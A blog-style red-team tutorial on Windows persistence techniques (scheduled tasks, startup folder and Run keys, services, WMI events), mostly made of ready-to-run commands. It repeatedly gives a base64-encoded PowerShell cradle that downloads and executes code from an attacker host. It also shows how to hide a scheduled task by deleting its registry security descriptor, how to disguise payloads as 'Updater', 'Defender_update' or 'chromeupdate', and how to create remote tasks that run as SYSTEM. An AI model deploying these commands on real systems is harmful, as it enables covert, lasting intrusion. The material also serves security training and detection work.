Persistence ways(The adversary is trying to maintain their foothold)

6 min readJan 8, 2023

Gaining continued access to a computer system or network that has been compromised is known as persistence. It requires bypassing security measures and re-configuring systems so that access is maintained even after users log out or reboot the system. This type of access can be difficult to achieve, as the security measures that were designed to prevent initial access must be circumvented to maintain persistent access.

Persistence can be achieved by executing within userland, such as the current user, or by utilizing a higher privilege such as SYSTEM.

Let’s see some techniques-

Scheduled Tasks (T1053.005)-

Video demo:

a. Create a Powershell Scripted Web Delivery URL-

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.35.130:80/a'))"

b. Then we can base64 encode this-

$s = 'IEX ((new-object net.webclient).downloadstring("<Scripted Web Delivery url>"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))

#Ecoded output
SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwA1AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==

c. Using SharpPersist for creating a scheduled task-

SharPersist.exe -t schtask -c <payload exe> -a <arguments> -n <Name of task> -m add -o hourly


SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwA1AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==" -n "Updater" -m add -o hourly

d. We can check in the task scheduler our task has been configured-

execute-assembly /root/Desktop/Tools/SharPersist.exe -t schtask -m list -n Updater

Bonus:

i. We can export the task as XML as well-

 Export-ScheduledTask -TaskName "Updater"

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Date>2023-01-08T23:01:09.004+05:30</Date>
    <Description>Updater</Description>
    <URI>\Updater</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="Author">
      <UserId>S-1-5-21-614556958-2727355581-3376386372-1000</UserId>
      <LogonType>InteractiveToken</LogonType>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
  </Settings>
  <Triggers>
    <TimeTrigger>
      <StartBoundary>2023-01-08T23:01:08</StartBoundary>
      <Repetition>
        <Interval>PT1H</Interval>
      </Repetition>
    </TimeTrigger>
  </Triggers>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command>
      <Arguments>-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwA1AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==</Arguments>
    </Exec>
  </Actions>
</Task>

ii. And Registering task using this XML-

Register-ScheduledTask -xml (Get-Content 'path to xml' | Out-String) -TaskName <Task Name> -TaskPath "\TASK-PATH-TASKSCHEDULER\" -User COMPUTER-NAME\USER-NAME –Force

iii. OPSEC consideration-

Deleting the SD key hides the task from the task scheduler (requires SYSTEM permissions)-

#Metadata
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree

#Task info
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Task

We can use Psexec for spawning a shell as SYSTEM.

PsExec64.exe -accepteula -i -s powershell

Now let’s try to delete SD key for the Updater task-

Get-Item "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Updater"

Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Updater" -Name "SD"

Now our malicious scheduled task is not visible!!!

Defenders can try to find hidden tasks by querying Registry like this-

Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" | findstr <task name>

#make token with admin on target
shell copy C:\temp\pivot-443.exe \\10.10.120.20\C$\windows\temp\pivot-443.exe
shell dir \\10.10.120.20\C$\\windows\temp\
shell schtasks /s 10.10.120.20 /create /tn "golu" /tr C:\windows\temp\ptrace.exe /sc onstart /ru system
shell schtasks /s 10.10.120.20 /run /tn "golu"

Note: We don’t create service binaries for scheduled tasks!!

Startup folder/Run or Run once registry keys(T1547.001)-

Video demo-

https://youtu.be/qKNBToB38lE

https://youtu.be/tLU9lDDIG6k

The Startup folder in Windows is a location where users can place shortcuts to programs that they want to run automatically when the computer starts up or when the user logs in. The Startup folder is usually located in the user’s profile folder, and can be accessed by navigating to the following path: “C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” or run this using run “shell:startup” . Adversaries can use this folder for persistence. Let’s see this in action:

a. Generating encoded payload command-

#powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.35.130:80/a'))"

$s = 'IEX ((new-object net.webclient).downloadstring("<Scripted Web Delivery url>"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($s))

SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwA1AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==

b. Adding a malicious shortcut to the startup folder using Sharpersist-

# Creating a shortcut in startup folder
execute-assembly /root/Desktop/Tools/SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwA1AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==" -f "Defender_update" -m add

# Creating a reg key at HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run or HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
execute-assembly /root/Desktop/Tools/SharPersist.exe -t reg -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwA1AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==" -v critical -k hkcurun -m add

C:\Users\ps\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

HKCU:\Software\Microsoft\Windows\CurrentVersion\Run

c. We can see that shortcut is created with an icon of internet explorer and upon checking properties we can see target field contains our payload.

Similarly, if we check our modified reg-

Get-Item  "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

d. Now each time this user login, our payload will be executed.

Privileged Access-

Services(T1543.003)-

Prerequisites:

Administrator privileges (Our reverse shell/beacon must be running as admin)

Video demo:

https://www.youtube.com/watch?v=4RgEalRBTwk

Let’s create an HTTP beacon again. (Follow the above steps)

We can see in the graph view as well that our compromised machine image is having electric symbols meaning this is a privileged beacon/shell.

# Verifying current proccess is not running as admin
powershell (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)

2. We need to create and upload the payload binary to the target. Again we can use either an egress beacon(reverse shell) or peer to peer beacon (bind shell)

I am using an HTTP egress beacon payload of type SVC.

execute-assembly /root/Desktop/Tools/SharPersist.exe -t service -c "C:\Users\user1\http_80_beacon_SVC.exe" -n "chromeupdate" -m add

# For removing
execute-assembly /root/Desktop/Tools/SharPersist.exe -t service -n chromeupdate -m remove

We can see our service has startup type “Automatic” which means The service will start at system logon.

3. Let’s restart the system and see if we get a beacon…

and we got shell as SYSTEM!!

This does not even require the user to log in!!

Bonus: Location of Services-

Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\chromeupdate

Wmi Events-

Prerequisites:

Administrator privileges (Our reverse shell/beacon must be running as admin). Only then we can configure wmi events.

Import Powerlurk module-

#https://github.com/Sw4mpf0x/PowerLurk/blob/master/PowerLurk.ps1
powershell-import /root/Desktop/Tools/PowerLurk.ps1

#Using base64 ecoded payload- IEX ((new-object net.webclient).downloadstring('http://192.168.35.130:80/a')) 
powershell Register-MaliciousWmiEvent -EventName WmiBackdoor -PermanentCommand "powershell.exe -nop -w hidden -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMwA1AC4AMQAzADAAOgA4ADAALwBhACcAKQApAA==" -Trigger ProcessStart -ProcessName explorer.exe

#Removing wmi event
powershell Get-WmiEvent -Name WmiBackdoor| Remove-WmiObject

References-